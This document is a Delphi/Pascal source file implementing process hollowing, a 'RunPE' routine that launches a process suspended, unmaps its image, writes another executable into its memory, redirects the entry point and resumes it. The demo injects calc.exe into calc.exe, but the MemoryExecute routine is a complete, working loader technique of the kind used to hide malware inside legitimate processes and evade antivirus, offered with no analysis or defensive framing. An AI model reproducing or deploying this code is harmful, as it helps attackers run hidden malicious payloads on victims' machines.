program MyProgram;
{$APPTYPE CONSOLE}
uses
Windows, SysUtils;
type
PVOID = Pointer;
NTSTATUS = LongInt;
THandle = LongWord;
PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
function ZwUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: PVoid): NtStatus; stdcall;
external 'ntdll.dll' name 'ZwUnmapViewOfSection';
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
Var
BaseAddress :Pointer;
I :ULONG;
Success :Boolean;
NTHeaders :PImageNTHeaders;
Sections :PImageSectionHeaders;
StartupInfo :TStartupInfo;
OldProtect :ULONG;
BytesRead :DWORD;
ProcessInfo :TProcessInformation;
BytesWritten :DWORD;
Context :TContext;
Begin
FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.wShowWindow := Word(false);
If (CreateProcess(ProcessName, Parameters, NIL, NIL,
False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
Begin
Success := True;
Try
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadContext(ProcessInfo.hThread, Context) And
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);
If (Assigned(BaseAddress)) And
(WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders,
BytesWritten)) Then
Begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[i].VirtualAddress),
Pointer(Cardinal(Buffer) +
Sections[i].PointerToRawData),
Sections[i].SizeOfRawData, BytesWritten)) Then
VirtualProtectEx(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[i].VirtualAddress),
Sections[i].Misc.VirtualSize,
Protect(Sections[i].Characteristics),
OldProtect);
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Context.Ebx + 8), @BaseAddress,
SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.Eax := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminateProcess(ProcessInfo.hProcess, 0)
Else
ResumeThread(ProcessInfo.hThread);
End;
End;
End;
var
A: Array of Byte;
F: THandle;
lpSize: Cardinal;
begin
F:=CreateFile(PChar('calc.exe'), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_ALWAYS, 0, 0);
SetLength(A, GetFileSize(F, nil));
ReadFile(F, A[0], Length(A), lpSize, nil);
CloseHandle(F);
MemoryExecute(@A[0], PChar('calc.exe'), '"%1" %*');
ReadLn;
end.